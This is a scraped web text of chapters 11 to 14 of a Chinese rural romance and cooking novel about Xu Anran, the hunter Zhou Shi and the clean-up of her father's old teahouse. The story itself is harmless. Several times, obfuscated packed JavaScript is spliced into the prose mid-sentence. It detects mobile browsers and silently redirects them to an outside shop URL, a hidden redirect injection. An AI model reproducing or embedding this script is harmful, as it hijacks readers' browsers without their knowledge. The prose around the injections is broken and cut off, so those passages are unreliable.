徐安然一手叉腰,一手扶着额头,“真令人头疼,你们要是不吃,我现在就把你们宰了做红烧兔头信不信?”她眼睛瞪得圆溜溜,对着三只兔子恶狠狠地威胁。 但以她这副人畜无害的长相,说这些威胁的话显然不能令三只兔子感到害怕。 这几天徐安然好吃好喝地供着它们,倒是让它们恃宠而骄起来了。 这好歹是周时给一番心意,如何都不能养死了。更不能养病了,否则都吃不成。 于是她叹了口气,抬脚来到还在绣帕的苏清面前:“娘,我去一趟周大哥家,借点蔬菜给三只小兔,您在家等我啊。” 苏清闻言点了点头,她对徐安然跟周时走得近这件事并不反感,如果女儿想嫁人,她也希望那个人是周时。 两家隔得不算太远,在苏清胡思乱想之际,徐安然已经慢慢来到了周时家。 一路上,经过许多人家。山亭村的村民家家都有个小院,徐安然只能大致瞧见她们家中都已经点上了光,暖黄色的。烟囱中音乐中有白烟出现,有些人家屋内甚至传出了浓郁的肉香…… 徐安然今天心情好得不行,见到村里的老人坐在外头,都挨个打了声招呼。 彼时周时正在吃饭,虽说有菜有肉,但是却有些难以下咽。他不由得想起徐安然,想起她递给自己的葱花饼,想起她做的酸笋,以及……她。 思念无声,但是徐安然走路有声音。听见门口传来动静,他警觉起身,推开门后见到来人是徐安然,嘴角不露痕迹地上扬。 他不知徐安然在傍晚时分来找他所谓何事,他只知道此刻站在面前的人是他刚刚心中所想之人,这就已经足够令他开心了。 所以接下来徐安然不管说什么,他只一个劲儿地点头,并表示,“你需要什么,直接进屋拿便是。” 徐安然受宠若惊,但直接进屋不太好,她站在院子内,“随便给我拿点新鲜的菜叶子就好。” “行。” 周时此刻也意识到让未婚女子进未婚男人的屋有些不妥,于是让徐安然在院子内等待,他到屋内拿。 可是周时却没去厨房,而是回了屋子,过一会儿才出来往右侧的厨房走去。 徐安然借此机会,顺势参观起周时的家。 一切被打理得井井有条,院子左侧有个棚子,棚子底下摆满了打猎的工具,是个猎户标配。院子内也有一块不大不小的土地,但仅仅锄了地,并没有种植,有些可惜。 虽然家比较大,但有些空。还是她的小家比较温馨,徐安然想。 没让她等久,周时便拿着一筐新鲜的蔬菜出现了,都是早晨从山上摘回来的新鲜的绿叶子,除此之外,还有一斤猪肉。 在菜市知道猪肉的价格后,徐安然可不能随便拿了,拿得多了不好还。 “我只是来借些菜叶子的,猪肉你拿回去吧,上次你给的那块好肉我还没来得及吃呢。” 周时挠了挠头,不知怎么说,只一味重复:“我吃不完,放着也是浪费。” “哪里会浪费,带去镇子上卖能得不少钱呢,你也不能打一辈子猎呀,总会有猎不动的那天,还是要多攒点钱给自己。还有以后你的家人。”她也不知道自己为什么会给跟周时说这些。回过神来的时候,才发觉自己管得太多了。 “我就是随口一说,你别在意哈。”她又补充道。 “我攒了。” “嗯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你也看出来了,我向来一个人生活,平日里的吃食对付几口就算了,直到你递给我拿张葱花饼,我才发觉世上竟有这等美味的食物。我认为你的厨艺一定在我之上,所以就想着,以后你再做些什么新鲜的美食,能不能……能不能……”周时实在不好意思再说下去了。 虽然葱花饼的好吃是真的,但是他的心思却不只在食物上。 徐安然挑了挑眉,自认了然于胸,于是十分豪爽地说:“果然!我就知道你盯上我的厨艺了。你就放心吧,自从你上次在山上把我救下,又同意带我上山,再到我们合力一起击败野猪这桩桩件件,已经足够称为朋友了。以后我再做好吃的,给你送来,反正我们两家住的也近。” 周时没想到,徐安然比他还木头。 不知是该哭还是该笑,应该是该笑的,至少没将她吓跑。 “哎,好!”周时同样豪爽地回。 双方都很开心,徐安然自己招周时去店里帮忙这件事稳了,周时觉得自己以后可以常有机会名正言顺地见到徐安然了。 12. 第 12 章 这次来周时家本来只想拿点新鲜的菜叶子,结果不仅多拿了一斤肉,还有一袋沉甸甸的铜钱。 刚回到家附近,便见到苏清在门口她离开的方向张望,在见到她后,连忙迎了上去。 “怎的去这么长时间?是不是遇见什么麻烦事了?” “没有,我和周大哥第一次上山的时候遇见了一头野猪,他今日拿去镇上卖,跟我分了些钱,所以耽搁了些时间。”徐安然如实说道。 “你是说周时那孩子给你钱?”苏清隐约觉得有些不对劲儿,周时人虽然好,但平日里独来独往的,不常和村里人来往,之前可没见他对谁这么热情。 “对呀。”徐安然摸了摸腰间的钱袋子,“放心吧娘,我心中有数,周大哥人不错,我还想着等我的店开起来了,招他来店里做工呢。” 徐安然一边说,一边走到早已饿晕的三只小兔子面前,她将菜叶放进笼子里,它们的鼻子动了动,紧接着跳上前,挑了片菜叶子就开始咀嚼,兔子肉好吃,长相也十分可爱,徐安然被它们这样子吃东西的方式逗笑了。 她有点庆幸没有当场宰了这三只,每天在山里吸收体月精华,聪明得都快成精了。 看兔子吃,她肚子也饿了,于是回到厨房继续准备烧菜。 周时又给了些肉,她决定都做了,这样还可以留出一部分给他。 将扁担肉上的筋去掉,切成方正的小块,再顺着猪肉的纹理切成薄片儿,大概两个手指的宽度,每片下一块肉,徐安然都会顺手用刀背在肉上拍上两下,然后再啪地砸在砧板上,这一步叫松弛,能让肉的口感更嫩。 徐安然的刀工算不上特别好,但也能到开店的水平,她自信的点儿在于创新。脑子里几百个菜谱,足够她发挥。 将切好的肉放在一个碗里,加盐加花椒。能加胡椒最好,但胡椒在这个朝代堪比奢侈品,属于进口货,价格极高。花椒便宜许多,老百姓们也吃得起。 这个朝代没有纯淀粉类原料,她只能用面粉代替面糊,再将面糊均匀地挂在每一片肉上。在此之前用热锅将面粉炒热,炒后的面粉再制作面糊,会比没炒过直接做成面糊的面粉更酥脆…… 苏清在料理院子左边的农田,家里唯一一只鸡在鸡棚里缓慢地走,偶尔鸣两声,啄一啄地下的土。厨房里的徐安然空闲时,看到的就是这样的景象,很充实,很安适。 笑容一直挂在脸上,她转过身,拿出一个干净的碗,加白糖、醋、生抽、炒过的面粉以及清水,她没有严格按照比例来调配,因为不记得了,全凭的手感。 一切准备就绪,就到了徐安然每日做饭最紧张的时刻,烧火。 烧火没个一年半载的经验真的捉摸不透,每一块柴火烧的时间并不一样,要减少火候,只能挑走柴火,她不能把握得准确。好在苏清可以帮忙。 看着徐安然在锅里倒了一半的芝麻油,苏清惊讶地张大嘴。 她问:“这道菜,需要用这么多油吗?” “放心吧,炸完之后的油还可以再装回油罐子里,油只是这道菜的辅助,并不是我们吃。”徐安然笑着解释。 “娘明白了,就像炸饼那样?” “对~” 谈笑间,徐安然将肉一片片挂着面糊的肉下入油锅,期间需要小火便提醒一声,母女俩合作得天衣无缝。 油锅冒起密密麻麻的泡泡,每下入一片肉之前,徐安然都会再次调整肉表面的面糊,尽量让每一片肉挂的面糊都差不多,将所有的肉片都下入锅中,炸一会儿,等到肉全部成型之后捞出,去些柴火让油温变低。 徐安然伸手在油锅上探了探,觉着差不多了,让苏清加柴火,再次倒入肉片,二次复炸过后,口感相对更酥脆,不软趴。 原本平静的油锅迅速冒起白色的泡花,直至肉被炸至枣红色,她这才将肉捞起来。 现在看起来已经十分有食欲了,但还没完,她将锅里的油倒回罐子里,锅中只留下一点儿,重新放回灶台上后再倒入炸好的肉片,左手顺手拿起一旁等待许久的糖醋汁往锅里一撒。肉色泽亮了,在翻炒过程中,锅里冒着白烟,随之而来的是糖醋汁的甜香,裹挟着肉香,直直钻进厨房内二人的鼻尖。 “好香。”苏清不由得说。 “吃着更香呢。” 趁着柴火还没烧完,徐安然又炒了道清菜。倒也没多麻烦,先清水烫熟,碗里倒点酱油,加些盐和一点芝麻油,最后均匀地淋在菜上,水煮菜便完成了。她喜欢这么么吃青菜,保留食材的鲜和青菜原本的甜,非常好吃而且解腻,和锅包肉是最佳拍档。 “吃饭啦吃饭啦。” 新的菜系,新的碟子,新的碗筷,一切都在朝着新的方向发展。 饭桌上,徐安然提出明天想去父亲的老茶馆看看,苏清同意了,说明天跟她一起过去。 接下来的时间,苏清整个人都沉浸在锅包肉的世界中了。 口感外焦脆里酥嫩,味道甜大于酸,脆度也是她能接受的,一块接着一块,根本停不下来。 苏清吃得多,她看着也开心。 虽然开心,但也没忘了周时,毕竟今天这肉也有他的一份,在厨房放着呢。 吃好后,趁着苏清收拾厨房的间隙,她再次来到周时家中,这次没有进院,而是在门口等待,毕竟天色渐暗,她一个女子只身来到一个单身男人家里,被人看到了难免会传出什么闲话。 彼时周时刚洗完澡,听到门外的敲门声,还以为是李四,上衣都没穿就打开了门。 于是徐安然就看到了十分香艳的一幕。 什么双开门、健身教练在周时面前都不够看的。 她虽吃惊地捂着嘴,眼睛却一点儿也没少看。腰真细啊……还挺白。 她大大方方的,倒是周时有些害羞了,连忙转过身,语气很不自然。 “徐姑娘……你有事吗?” “哦。你不是说让我做好吃的,给你也留一份吗,眼下时间还早,所以我带新做的锅包肉来给你尝尝。” “放地上就好。” 徐安然低头看着地面,皱着眉,“太脏了吧,要不你回去拿个碗,我倒给你。” “好。”应完,周时走了。 全程对话周时都是背对着她说的。 徐安然很不理解,一个大男人,露个膀子有那么害羞吗。听娘说周时已经二十五了,这个年纪的古代人,还这么纯情?她咋这么不信呢。 晚上的风挺大的,周时该是穿衣服去了,她等了蛮久,风吹在身上挺冷的。 刚出屋的周时见到将手放在脸上取暖的徐安然,心中内疚。 “抱歉。”他说。 “没事,这肉趁热吃最好,如果你现在还能吃得下的话。明日我要去我爹的茶馆看看,收拾收拾,所以早晨我就不跟你上山啦。”她这次来,也是为了顺带说这件事,因为他们白天越好明天上山,但晚上她临时改了主意,为了不让周时等,于是才带着锅包肉来告知。 “好。”周时拿着锅包肉,扭捏了会儿,还是问道,“你父亲的茶馆很久没打理了吧?” “你知道?” “去镇上的路只有一家无人打理的小店,就是你父亲的茶馆,你竟不知?” “额……”徐安然终于想起来了,那虽然是家店铺的样子,但已经看不出一点儿茶馆的痕迹了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092709|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她尴尬地笑:“我知道。我知道的。” “茶馆另一条分叉路的尽头是间祠庙,虽然现在香火不旺,但偶有百姓前去上香,生意应该不会特别差。倒是可以收拾收拾,这样也省得你每日辛苦去镇上摆摊。” 从她说要去茶馆看时,周时便猜到了徐安然的想法,以她的能力,开店不是问题。 “需不需要我帮忙?”周时又问。 徐安然眼睛瞬间亮了:“可以吗?” “嗯,可以,我除了早晨要上山打猎,其余没什么事情做。”周时回得很认真。 “这样会不会太麻烦你了呀?”徐安然话里带着笑问。 没想到这次来还能有其他收获。 “不会,你先过去,我明日下山之后,再去茶馆找你。算是,你今日亲自送食物来的答谢。” “好!谢谢你啊周大哥,你人真好,以后我做的美食都有你一份!” 周时低头一笑,老实巴交道:“不必这样客气。” 徐安然开心地哼着歌回家,殊不知,小柔站在不远处,将他们的对话都听了去。 豆大的泪一滴滴落在地上,我见犹怜。 但是她没有去找徐安然的麻烦,反而是叩响了周时的门。 周时以为是徐安然折返回来了,带着笑开门,在见到人是小柔,立刻恢复了以往的不苟言笑。 “何事?”他冷冰冰问。 如此区别对待,小柔哪里还不明白? 她只是不懂,自己输在哪里。明明她也不差,长相不差,性格也好,从小到大没做过什么坏事,为何周时就看不上他。 小柔想不明白,她回了句“没事”,便离开了。 周时茫然地看着小柔的背影,不解,但还是关心道:“风大,早点回家,别着凉了。” “哦。”小柔淡淡地回。 很奇怪,这样一段关心的话,以前周时说的时候,她会开心很长时间,但现在却毫无感觉。 她麻木地回到家,看着各自忙碌的父母。 委屈感不由自主地涌了上来。 “哎呦,我们小柔这么眼睛红红的?这是哭了?” 张桂梅心知肚明,小柔这是又去找周时了。 “娘,我是不是没有安然优秀?她生得好看,而且还会写字,我虽然也长得不差,但我不会写字,是不是因为我不会写字,所以周大哥不理我?” “傻孩子。”张桂梅温柔地擦掉小柔脸上的泪珠,温柔地说,“每个人都有自己的优点和缺点,安然很优秀这点娘很同意,今日她一个人去镇上摆摊将所有东西都卖完了哦,娘就在一旁看着,心里羡慕得很。但是,你也不差,你会刺绣,会做衣服,你的衣服都是你自己做的,每天把自己打扮得美美的,这就是你的优点呀。” “真的吗,这么说的话,好像确实很厉害?” “总之,在爹娘的心中,你非常厉害,娘何尝不知你对周时……但是他的心不在你这。爹娘还养得起你,你何苦这么着急把自己嫁出去,不想跟爹娘一起生活了?” 小柔被说得羞红了脸,窝在张桂梅的怀里,“才不是。小柔要一辈子都在爹娘的身边尽孝。” “行了行了,女儿,快来鸡棚将蛋都掏了。”母女俩难得的温馨时刻被周爱年打断。 小柔擦了擦眼泪,无奈地看了眼连鸡蛋都不敢掏的爹,回道:“来了” 她将此事抛之脑后,认真地掏起鸡蛋来。 夫妇俩站在一起看着这一幕。 周爱年更是直言:“咱女儿还有个优点,就是掏蛋的时候十分认真。” 张桂梅也笑了,点头给予肯定,“确实。” 13. 第 13 章 次日,徐安然早早起来,知道了茶馆的位置,便没有让苏清陪同,她本就肺痨在身,更不能在灰尘大的环境中待着。将早餐做好之后,徐安然在苏清的视线中离开了家。 她腿上的伤口恢复得不错,扭伤的部位也不疼了,拿着拐杖慢慢走不是问题。 早晨的空气十分清新,一路走走停停,这让她不觉得有多累,或许是天刚亮,一路上也没遇到什么人。 本以为会这样安静走到茶馆,却没想到半路遇见了小柔。 说起来,自从上次在山下一别,她就没在村里见过小柔了,她也不曾来家里玩过。 “安然。”小柔主动跟她打招呼,“这么早你去哪儿呀?” “去我爹的茶馆看看。”没什么好隐瞒的。 “你的腿好些了吗?” “嗯,好得差不多啦。”说完,将手上的葱花饼递给小柔,“你吃吗?我自己做的。” 小柔认出来了,这是昨日她娘带回来的葱花饼,没想到还真是徐安然做的,她一开始并不相信。 虽然很不想承认,但她做的葱花饼确实很好吃。 昨日吃过之后,便一直念念不忘,纵使她不是吃货,拒绝的话也说不出口。 “谢谢你。”她双手接过时,喉咙动了动,“好香啊。” “葱花饼味道就是香味大过饼的口味,毕竟只有猪油、面粉和葱花这三样原食材。” “就这三样食材就能做得这么好吃?” 小柔跟徐安然一起并排走,有一句没一句地聊着。 “有句话叫做最美味的食物往往只需要最简单的食材做成。” “有这句话吗?不过我从未听说过你会下厨,我以为你只会抄书呢,真厉害。” “灵机一动罢了。我娘年纪越来越大,我要养家,总不能靠抄书过一辈子吧。” “你不考虑嫁人吗?” 徐安然并不反感小柔,所以对于她的问题,能回答的都回答了。 “目前没有这个想法,我眼下要做的事就是赚钱,将我娘的肺痨治好,然后重新经营我爹的茶馆,嫁人是以后的事情,我目前没心思谈以后。” 徐安然觉得,不论男女,都得有一番事业,不能稀里糊涂就将一辈子困在婚姻里。既给不了自己幸福,也给不了子女幸福。 “哦,那周大哥岂不是要等好久了。”一阵风吹过,将小柔的话盖了大半,她没听清。 “嗯?”徐安然疑惑地看着小柔,“你刚刚说什么?” “没什么,安然,我跟你一起去茶馆打扫吧,就当作今日你请我吃葱花饼的答谢。” 徐安然当然很乐意多一个帮忙的人,但是小柔的身板看起来没比她强壮多少。 “实不相瞒,我爹留下来的茶馆,起码得有七八年没有认真打扫过了。我怕你受不了那个灰尘。” 小柔听闻,脸色一变……但话都说出去了,这时候收回来又不太好。 “没关系,我不怕。我们家的鸡棚很多时候都是我打扫的呢,我并不怕脏。” “行,那就一起过去吧。”徐安然只当小柔是去玩儿的,没真的想让她帮自己打扫。 抵达老茶馆,倒塌的院门将进门的路堵住了,徐安然只能一瘸一拐地在小柔的搀扶下跨进去。 院内门前,掉下来的牌匾尽数被杂草和尘土覆盖,走在院内道路上,衣裙瞬间脏了。再看店里的其他物件,各个散落在地,陶罐碎得到处都是。 “这简直……摧枯拉朽啊。”徐安然忍不住吐槽。 “咳咳咳。”小柔被灰尘呛得直咳嗽。 她没想到这家小时候曾经来过的茶馆,现在破成这样,经过的每一步都能扬起一丈灰尘。 “如果受不了的话就现在院外等我吧,等我把这边收拾出来之后你再进来。” 相较于感叹这里的破败,她更多的是惋惜,当初父亲开这间茶馆,一定耗费了很多心血,站在院子内,仿佛还能见到曾经茶馆蒸蒸日上的景象。 她父亲是在她八岁时去世的,仔细回想,脑海中似乎还回闪着曾经在这里跑步玩耍的画面,父亲的面容若隐若现,为她做玩具时的模样,教她读书的模样,为她做点心的模样…… “你怎么了?” 小柔的声音将她的思绪打断,徐安然这才发现她的脸颊上还挂着泪珠。 她吸了吸鼻子,笑道:“没事,我先随便整理整理。”说完,拄着拐杖,艰难地往前走去。 小柔皱着眉心,实在不忍心看徐安然一个伤者在里头忙碌。 “我跟你一起。” “行,如果累的话,就坐下休息,这么大的茶馆,凭我们俩人,今天收拾不完。所以不用强求。” “我知道的。” 之后的一个时辰,小柔让徐安然刮目相看。 就如她说,家里鸡棚都是她打扫的,她确实不怕脏,干起活儿来也十分利索。 将最后一块木板搬到院外,只见小柔将袖子挽起,抬手用擦了擦额间的汗,邀功似地看向徐安然:“怎么样,我是不是很厉害?” “确实很厉害,令我刮目相看。” 经过两人大致清理,将杂草踩倒,轻杂物搬到外头,总算是大致恢复了茶馆大致的模样。她腿脚不便,所以杂物用绳子一起绑上,然后拖到外边。 直到现在,徐安然才发现在屋子左边居然有个小池塘,只不过已经干涸了,估计是底下出水源被堵住了。这个得以后请专业的人来维修,她不会。 忙里了一上午,她们总算整理出了一处可以休息的干净地方。 这次来茶馆,她就是奔着干到傍晚才离开的目标来的。 趁着不摆摊的这两天,将茶馆大致整理好。再将该修缮的地方修缮好。摆摊这件事同时进行,这样等她攒够钱,茶馆也能开始营业了。 她们坐在石凳上,任由太阳烤着肌肤,任由汗珠顺着脸颊滑入脖颈。 中午吃的是葱花猪肉烧饼,她带了两人份,本来想要给周时,但小柔帮了她一上午,所以将周时的那份给了小柔。 小柔刚想说要回家吃午饭,结果下一秒徐安然就从布袋里掏出两个卖相不错的烧饼,虽然已经有些凉了,但香味还在。 看着手上的两个烧饼,小柔有些呆滞。 “你帮了我这么长时间,接下来的时间就不麻烦你了。”徐安然一边细嚼慢咽,一边说。 “你把我当什么人了?” “嗯?” 小柔语气十分不满,但徐安然不知道她为什么不满。 “我来帮你是因为我把你看作好友,不是为了你几个饼,再说了,我们家又不是吃不起肉饼。”最多就是做得没那么好吃罢了。 徐安然被她这幅模样逗得哭笑不得,她点了点头,“嗯,这我知道。要不你先吃吃看再说呢?” 她的厨艺不说多么神,但是拿捏山亭村的人,还是绰绰有余的。这点自信她有。 “好吧。既然你都这么说了,那我就试试吧。”说完,狠狠咬下一大口饼。 徐安然让她吃的,不吃白不吃。 烧饼即使有些凉了,但依旧保持着外皮酥脆,肉馅儿不多,但有猪油的醇香和葱花的清香为伴,不显单一。肉沫里加了花椒,吃起来有些麻,但是越嚼越香,馅儿的味道调得刚刚好,不咸,手上这个烧饼,吃起来并不像她以往吃过的肉烧饼那样腻。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092710|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 而且,比葱花饼还要好吃。 “我是不是除了你和你娘之外,第一个吃到这个烧饼的人?” 徐安然点头:“是。” 听到这个答案,小柔居然有些暗爽。 “这个烧饼叫什么名字?” “如其名,葱花猪肉烧饼。” “倒还挺适合的。” 没等小柔再说些什么,院外便传来了一道高兴的声音。 “你们在吃什么呢?” 小柔转过头,发现是李家的两姐妹。她和两姐妹并不熟,平日里也只是打个照面的交情。 所以她们一定不是来找她的,唯一的可能就是来找徐安然。 “吃葱花猪肉烧饼,但是很可惜,我只带了四个。我和小柔一人两个分完咯。” “嘿嘿,你多虑了。”李秀莲扬了扬手上的饼。 小柔定睛一看,竟跟她手上的烧饼模样一样。 “你不是说,除了你和你娘之外,我是第一个吃到这个烧饼的人吗?” “确实是呀,她们现在不是还没吃吗。”徐安然不知小柔为什么要争这个,但她确实没说错。 “那倒是哦……” “你们去我家了。”徐安然看向两姐妹肯定地问。 “是呀,苏婶给了我俩一人一个肉饼,她说你在这边,我们就过来了。喂,自己收拾茶馆不叫我们帮忙啊,不讲义气。”李秀莲佯装生气道。 小柔:自己?那她是谁? “那你们就接替小柔继续接下来的活儿吧,饼可不能白吃。” “正有此意呢!”两姐妹异口同声回。 四位女孩在还未整理好的茶馆一起吃饼,说说笑笑。周时来到时,见到的就是这样一番景象。 他竟不知该走还是该留。 纠结期间,徐安然余光见到他了。 “周大哥!”徐安然招手跟他打招呼。 说实话,今天她一直等的就是周时,她们几个女孩再怎么收拾,那些繁重的木头怎么都不好搬,自从上次见到周时扛着两百斤猪不带喘时开始,她几乎确定,周时力气异于常人。 小柔知道周时会过来,她今天跟着徐安然过来很大一部分原因也是因为周时。 “周大哥。”小柔也站起来跟他打招呼。 周时朝徐安然点了点头,手中拿着工具走进院子。 “现在开始收拾?” 今日他山上又有了收获,将猎物处理好之后,紧赶慢赶过来,生怕徐安然等久了。 徐安然看着他额头上的汗,不紧不慢地回道:“不着急,你吃过午饭了吗?” “吃过了。” 其实并没有。 徐安然看穿了他的谎言,将手上的饼对半分,一半递给周时,“那你就吃一半好了。我今日刚做的葱花猪肉烧饼。” “不必,这是你的午饭。” “在这之前我已经吃过一个了。本来这个就是给你留的,你既然吃过了,那剩下的另一半就给小柔好了,她跟着我忙了一上午。” 周时这才想起来,小柔方才好像也跟他打了声招呼。 “谢谢。”小柔干巴巴地说,手很成熟地接过那半个烧饼。 昨日母亲特意带葱花饼回来给她和父亲尝,今日她也要带回去。连同手上的另一个烧饼一起给二老尝尝。感情上不得意就算了,不能让胃也受苦。 刚刚叫周时的时候,他一个眼神都没递给自己,满眼都是徐安然,就徐安然这个呆瓜,啥都看不出来。 她有些妒忌,但对徐安然又恨不起来。 十分矛盾。 可能是因为葱花饼吧,或者是葱花猪肉烧饼。 14. 第 14 章 小柔心中矛盾,索性离开了旧茶馆,眼不见为净。 眼下只剩下周时和李秀敏两姐妹。 两人平日里虽以绣花为主,但是打扫起卫生来也不输小柔。再有周时这个顶级劳动力的帮忙,短短半个时辰,院子干净了大半。 直到此刻,徐安然才抬脚走进茶馆内部。屋内结构很简单,明亮的大堂,能放下三张四人桌,两张双人桌,两扇窗户穿堂风。左侧是账柜,账柜旁有一道门通向厨房,就是泡茶的地方,只能容纳三个人,如此,便是茶馆内部的全部空间。 整个茶馆看下来,她最喜欢的就是院子左边的池塘,其余的都比较平常,还不如家里面积大。不过唯一庆幸的是,这间茶馆坐落在两条分叉路的中间,另一条路通向山顶的寺庙,刚刚她打扫的时候,偶尔能见到上山上香的百姓。 甚至还有百姓往茶馆内看,估计是好奇是怎样一家店。 这让徐安然看到了希望,至少不是一点客流量都没有,改日也需要找个时间去山顶的寺庙看看,香火不旺也是有原因的,她要了解了解。 毕竟寺庙的香火,也间接决定她之后的生意。 于此同时,在永和镇书院外,葛学义正站在书院门口,像个门神,盯着商贩们往来的路口。 其他商贩哪里见过这样一直站在门口注视的葛学义啊,以往他只会在午休时间即将结束才会出现。这令在外边摆摊的商贩们瑟瑟发抖。 葛学义才不管他们是什么想法,即使徐安然说过今天不会来摆摊,但时间没过他就还抱着侥幸心理。 昨日的酸笋实在太好吃了,特别是他按照徐安然所说,用来跟猪肉一起下锅,随便加了点调味,就将猪肉的腥味盖走了大半,那是他第一次吃过这么好吃的猪肉。一吃就停不下来了,他家中还有妻女,口味如出一辙,所以如今家中的酸笋所剩无几。 撑不过今晚。 徐安然果真言出法随,说不来就不来。 书院里等着她的不止她一个人,还有其他几位学生,包括李彦宇,昨日的葱花饼被抢了,他今日想多买些带在身上,散学后带回家给家里人也品尝品尝。 以及平日从来不在这个时间走出书院的苏在,此刻都在书院之外。他也不知道自己为什么要跟着学生们站在这里,或许也是因为葱花饼。 或许是想看看,到底何人能有这样的创意,见白面做得那样好吃。 五天时间过得很快,特别是这两天徐安然睁眼就来茶馆,傍晚才回家。 而周时和李家两姐妹也一直跟着她在打扫茶馆,现在的茶馆已经焕然一新了,至少不是一开始见到的那样无处可站。就连苏清都没想到,她们能在这么短的时间将茶馆收拾出来。 而这一切最大的功臣就是周时。 村子不大,很快,周时每天去茶馆帮徐安然打扫的事情就传到了每家每户,并且成为大家饭桌上的八卦话题。 徐安然并不知道这件事,还是苏清在今日的饭桌上无意间提到的,而她正准备着明日去镇上摆摊的事情,没将此事放在心上。 苏清见她没这方面的想法,思来想去还是提醒了一嘴:“既然你对周家小子那方面的意思,往后还是少拜托人家,村里的人闲言碎语的,娘怕你听着不舒服。” “谁说我对他没意思?”徐安然收拾碗筷的手一顿,狡黠道,“娘,你别老往情情爱爱那方面去想呀,我想跟周大哥搞好关系的原因是,他可以带我上山,也是村里唯一一个有能力带我上山的人,我以后想让他到店里工作,所以大家说什么都可以,我心中并不在意,因为这不影响到我赚钱。” 与其以后才被大家闲言碎语,不如趁现在一起说完了,时间长了,疲惫了,说的人就少了。 周时这边,倒是急得团团转,村里的人话不知徐安然听去多少,如果徐安然为了避嫌,不再需要他帮忙,那他岂不是没了机会? “不行!” 他猛地从椅子上站了起来。 “你干什么呢?吓我一跳。” 身旁的李四被他这一动作吓得手里的话本子都掉了。 仔细看书名,竟是讲男女情爱的。 “四叔,这话本不是给我看的吗,怎么现在都是你在看。”周时连满转移话题道。 李四言出必行,他还真将妻子珍藏的几本话本子都偷出来了,但看的人不是他,而是他四叔。 两人不愧是夫妻,就连爱好都一模一样。 “我这不是不敢当着你高婶的面儿看嘛,有损我威猛男子汉的形象,四叔年轻的时候比你还要爷们儿。” “那你就不怕在我面前看有损你威猛的形象?” “四叔跟你亦父亦兄,都哥们儿,不搞那些子虚乌有。” 有时候周时觉得自己才更像长辈,因为李四平日里还没有他沉稳。 只见他这会儿还在蜡烛旁津津有味地看,手边一壶热茶,翘着二郎腿,偶尔抖抖腿,十分惬意。 估计,今晚四叔又要在他这儿过夜了。 也罢,反正也不是第一次了。 明日是徐安然去镇上的日子,如今她的腿好得差不多了,就是不知道明日需不需要他帮忙。 “四叔,明日你去镇上,多帮帮徐安然。将牛车放在城外吧,丢不了。” “你小子,要真丢了你赔啊?” “可以。” 李四没想到周时真敢答应,还是不够了解自己这个大侄子。 不过,周时要是不出,怎么表现自己? “你要不放心,也跟着去啊,前两日你不是打了两只雉鸡,一并带去镇上卖呗。” “会不会太刻意了?才两只。” “谁管你几只。”李四一脸恨铁不成钢,“你不是喜欢人家吗?你啥都不做才是傻子,人家姑娘也没婚配,你怕什么?而且那丫头模样水灵,独自一人在书院门口摆摊,里头那么多男人,一个个比你都白净,还比你有学问。你要是不抓紧,被人抢了先……” 周时光是想到这个结果就受不了,他连忙抬手制止李四,义正言辞道:“四叔,我去,您不许说了。” “这就受不了了,你这闷葫芦,再不有所表示,等这丫头生意做起来,追求者多了,你就在后边排队去吧你。排队了也轮不上你,除了一身力气啥也没有,我要是人家姑娘,都不带看你一眼的。要真成了,你都是高攀了。”话里话外,都是对周时的嫌弃。 四叔以前不这样的……周时委屈地想。 李四看人很准,徐安然绝对不是等闲之辈。他这么说,也是希望周时能得偿所愿,但最主要的是人家姑娘怎么看,要是人家姑娘不喜欢周时,他再怎么出主意都没有用。 徐安然不知道周时也在打自己的主意,而且想法跟她截然相反,此刻的她还在准备明日要摆摊的食材。 新鲜的饼一定是要现做的。所以当晚她只是将面团准备好便回房休息了,直到第二天,院子老母鸡准时鸣奏。 书院的学生到午时后才能出来,她其实并不着急。 这几天母鸡吃得太好了,所以每天醒来得比她还要早,叫声不是为了提醒她时间快来不及了,而是为自己的早餐。 “连母鸡都成了精。” 苏清也早就醒了,她此刻正在厨房里,看着徐安然昨晚准备好的食材,虽然她不会做,但还是想看看有没有她能帮得上忙的地方。 但是一圈看下来,着实没什么地方可以下手,唯一能帮忙的,就只有烧火了。 于是来到院子,开始料 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092711|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理起院子内的植物和动物们。 